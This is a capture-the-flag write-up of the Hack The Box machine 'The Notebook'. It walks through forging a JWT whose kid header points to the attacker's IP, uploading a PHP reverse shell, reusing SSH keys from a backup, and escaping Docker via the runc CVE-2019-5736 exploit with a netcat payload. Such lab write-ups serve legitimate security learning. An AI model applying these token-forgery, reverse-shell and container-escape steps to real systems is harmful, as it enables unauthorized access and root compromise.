Prelude
The Notebook is an intermediate box from Hack The Box, developed by mostwanted002. This was actually one of the fun machines in HTB and I learned some new things and relearned some old things from this machine.
The initial foothold was kind of unique and interesting. It wasn’t easy, but wasn’t that hard either. The first lateral privilege escalation was pretty standard stuff. The final privilege escalation was actually different and I could see a vulnerability I knew in action.
Let’s start the exploitation.
Exploitation
As usual I started the exploitation with Nmap scan.
nmap -sCV -v -oN tcp 10.10.10.230
And I got the scan result as follows.
# Nmap 7.91 scan initiated Sun May 30 11:47:07 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There was only two ports running.
From the SSH banner, I presumed the Operating System to be Ubuntu Bionic Beaver 18.04.
Then I started the enumeration of Port 80 by navigating to http://10.10.10.230/ via the web browser and I saw the following page.

I tried some default credentials but they didn’t work. So, I moved on to Register a new account and I got in.

There was a /notes directory, where we can write and save notes. I tried some basic XSS payloads to see if there is any chance for injections. But, nothing worked.
So, I fired up BurpSuite and started looking at the requests and I found out that this web app uses a JWT for authentication.

JWT or JSON Web Token is a string that contains a Header, Payload and optionally the signature of the token. The payload in JWT can optionally be encrypted. JWT are typically used in a web-browser single-sign-on (SSO) context and is a great way to authenticate & authorize without sessions.
In short, JWT works more or less the same as a Session ID, but have more powerful features than a regular Session ID.
A JWT token consists of three base64 encoded strings separated by dots.
We can decode the JWT token using an online service or by using a simple Python script or by selecting the dot separated string hand and base64 decoding.
I used jwt.io to decode the JWT token, since it’s easier and prettier.

From the above output, we can see the Header and Payload part in plain text. If the JWT is encrypted, then we would nee the key/secret to decrypt the token.
From seeing the HEADER section, we can see that three fields.
{
"typ":"JWT",
"alg":"RS256",
"kid":"http://localhost:7070/privKey.key"
}
Here, typ specifies the JSON Web Token, the alg specified what algorithm is used to sign the JWT (Here, it is RSA256) and kid is an optional header claim, which holds a key identifier (secret keyfile used to sign the JWT).
Right away, we can see the issue. The kid parameter is used to verify the JWT and it is a URL for a keyfile named privKey.key.
Since the JWT is unencrypted, we can edit the kid parameter.
Let’s take a look at the Payload part too, before checking the kid issue.
The payload shows a parameter named admin_cap as 0. By taking an educational guess, I thought that this parameter controls if the user has admin access or not.
Exploiting the JWT token vulnerability
Let’s see if the server hits our machine, if we modify the kid parameter with our machine’s IP.
To do that, I changed the kid parameter header part of the JWT using the following command and base64 encoded it.
echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.37/privKey.key"}'|base64 -w 0
I also extracted the payload part of the original JWT token using the following one liner.
echo -n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNlY25pZ21hIiwiZW1haWwiOiJzZWNuaWdtYUB0ZXN0LmNvbSIsImFkbWluX2NhcCI6IjAifQ.dUvKHGgWZVlib0SrhjtDi1o-2Z-x72xNwx76fTZT547G1N2y1-AyTaw5F04IYPEvqvYlRnYt1Ih3d4eb3-ka9wp0M5oj0nIj44Fml6ouRxdxKRKQ-8eNOqFYRFxaNGG9oypHpvTVf8oC3u2X8lpUkd5MfVJhGXe-vcH7s8K6pij2cP6Ba-CB-oiJIHF8KQUKhJ6VZfZqg9j8XWWKrIZARNh1KpGlNjXeNBopyXT8Q-YWg-rjWVa-G7WKQu-n_jr9hsQ4VYT1PJidYjeVN3nqui7x_7BzGHdhiv7_p2dIxxJQxEED1f44_-vuuMwhG1y9Os4YROCn5EkFM2pCoEYRnKvK3JMawzpno0NTIVpOXArC5eAYIUG5jjQUb93iXIpxHAhS4AtaQ6JNH0ezt1JoLSi0lORUbgjxnrItpGcbF0uzXbchqZZsHMExNYm4684EMTsK_pQvk9dN-6uLXjhblRBBWwdU434pCCiylIgT-cgDroW0T8aRFyuggGo8fKhoxGGSMOI4s6wXtIksPmidR0rxQlxQyzmFKPoyXl1hHTKtjjWuSe5S2oJbTSsHbo8f7aYvHoSy1Ua3kEIopkf8D_lGzFgdEhmUXGwhnAwWJclbSuEYCUURdAUthH8i0Ncfxyn3jbx5zyQDL24NQMcY0OaECrJ3QPRuhTdfG7ItLdU'|cut -d . -f2
Then the combined the two parts with a dot to separate them and the final payload looks like the following.
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4zNy9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNlY25pZ21hIiwiZW1haWwiOiJzZWNuaWdtYUB0ZXN0LmNvbSIsImFkbWluX2NhcCI6IjEifQ.dUvKHGgWZVlib0SrhjtDi1o-2Z-x72xNwx76fTZT547G1N2y1-AyTaw5F04IYPEvqvYlRnYt1Ih3d4eb3-ka9wp0M5oj0nIj44Fml6ouRxdxKRKQ-8eNOqFYRFxaNGG9oypHpvTVf8oC3u2X8lpUkd5MfVJhGXe-vcH7s8K6pij2cP6Ba-CB-oiJIHF8KQUKhJ6VZfZqg9j8XWWKrIZARNh1KpGlNjXeNBopyXT8Q-YWg-rjWVa-G7WKQu-n_jr9hsQ4VYT1PJidYjeVN3nqui7x_7BzGHdhiv7_p2dIxxJQxEED1f44_-vuuMwhG1y9Os4YROCn5EkFM2pCoEYRnKvK3JMawzpno0NTIVpOXArC5eAYIUG5jjQUb93iXIpxHAhS4AtaQ6JNH0ezt1JoLSi0lORUbgjxnrItpGcbF0uzXbchqZZsHMExNYm4684EMTsK_pQvk9dN-6uLXjhblRBBWwdU434pCCiylIgT-cgDroW0T8aRFyuggGo8fKhoxGGSMOI4s6wXtIksPmidR0rxQlxQyzmFKPoyXl1hHTKtjjWuSe5S2oJbTSsHbo8f7aYvHoSy1Ua3kEIopkf8D_lGzFgdEhmUXGwhnAwWJclbSuEYCUURdAUthH8i0Ncfxyn3jbx5zyQDL24NQMcY0OaECrJ3QPRuhTdfG7ItLdU
I have skipped the signature part, since that is optional and as of right now, this is just a PoC to verify that the target looks for the privKey.key file from our machine.
I started a python server, pasted the JWT in my web browser’s auth cookie field and refreshed the page.

And I got a hit on my python http server!

Now, the picture is clear.
The parameter that controls the authenticity of the JWT and the parameter that controls the administrator privilege is user controllable. So, we have to generate an RSA key named privKey.key, create a custom JWT token signed by our privKey.key file, with admin_cap set to 0.
Crafting custom JWT token
Let’s generate a private key using ssh-keygen and openssl. Source.
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key
To generate public key, we can use the following command. But, that isn’t required in our case.
# Given the name of private key is `privkey.key`
openssl rsa -in privKey.key -pubout -outform PEM -out privKey.key.pub
Now, that we have the privKey.key file ready, we can use this file to generate our required token.
I made a small python script to do this.
#!/usr/bin/python3
import jwt
from cryptography.hazmat.primitives import serialization
with open("privKey.key", "rb") as key_file:
private_key = serialization.load_pem_private_key(
key_file.read(),
password=None,
backend=default_backend()
)
encoded = jwt.encode({"username":"secnigma","email":"secnigma@test.com","admin_cap":"1"}, private_key, algorithm="RS256", headers={"kid":"http://10.10.14.37/privKey.key"},)
print(encoded)
And it generated the JWT token gracefully!

I copied the token and pasted it in the web browser’s auth cookie field.
Then, I started a python web server and refreshed the web browser.

And I was in!


Once I was logged in, I looked around and the admin page had some clues in the /notes page.


Clue #2 is to look after gaining the initial shell. So, let’s focus on Clue #1 at the moment.
The /admin directory had an Upload File button.


So, I uploaded a PHP reverse shell to it and it was uploaded successfully and showed me a View button.

So, I started a nc listener and clicked View.
And I got a shell back as www-data.

Logging in as Noah
Clue #2 suggested something about backups. So, if we look at /var/backups, then we can see a home.tar.gz file.

If we extract that, we will get the backup of user noah‘s home directory. Inside that, we can find the SSH keys.

So, I used the following command to login as Noah using the private key.
ssh -i id_rsa noah@10.10.10.230
And I was in as Noah!

Privilege Escalation
Running sudo -l as noah shows that he can run a docker container named webapp-dev01.

So, I ran the following command to log into the docker container.
sudo /usr/bin/docker exec -it webapp-dev01 bash

We are root inside the container and I could some some python web app files.
This was the source code of The Notebook program and the file named create_db.py contained SHA265 hashes for users admin and noah.
I tried to crack it with Hashcat, but it didn’t cracked.
So, I moved on to enumerate inside the docker container.
I ran docker enum script deepce, but didn’t find anything interesting, except that the docker container had some capabilities.

I tried out some exploits according to the capabilities, but they didn’t worked.
So, I exited the container and checked the docker version using the following command.
docker -v

I looked vulnerabilities for the docker version and found that this version of docker was affected by a runc container escape vulnerability (CVE-2019-5736).
runC as explained by docker.com is a lightweight, portable container runtime. It includes all of the plumbing code used by Docker to interact with system features related to containers.
I knew about this vulnerability, but didn’t got a chance to exploit it. Well now’s my time.
This exploit code is written in go and we have to compile it and transfer the static binary to the container.
The exploit works by overwriting and executing the host systems runc binary from within the container.
It achieves this by overwriting /bin/sh in the container with #!/proc/self/exe which will point to the binary that started this process (the Docker exec/runcinit). After that, the script can then proceed to write to the target of /proc/self/exe to try and overwrite the runc binary on the host. More info from here.
This exploit will wait for some one to execute docker exec /bin/sh and when that happens, this will trigger the exploit which will allow code execution as root in the host machine.
The side effect of this exploit is that we are overwriting our implementation of runc which will ensure our system will no longer be able to run Docker containers. So, in real life cases, backup the runc file (either /usr/bin/docker-runc or /usr/bin/runc) before using this exploit.
I cloned the repo andedited the payload to netcat traditional payload.

Then I compiled the exploit by using the following command.
go build main.go
Then I moved the binary to the docker container and ran the binary.

Then on a different SSH session, I issued the following command since, we have overwritten the /bin/sh binary.
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
The exploit binary detected this.

And I got a root shell back!


Postlude
And that was The Notebook!
This was a great box and I’ve learned several things from this box.
Kudos to mostwanted002 for creating this box!
Peace out! ✌️
















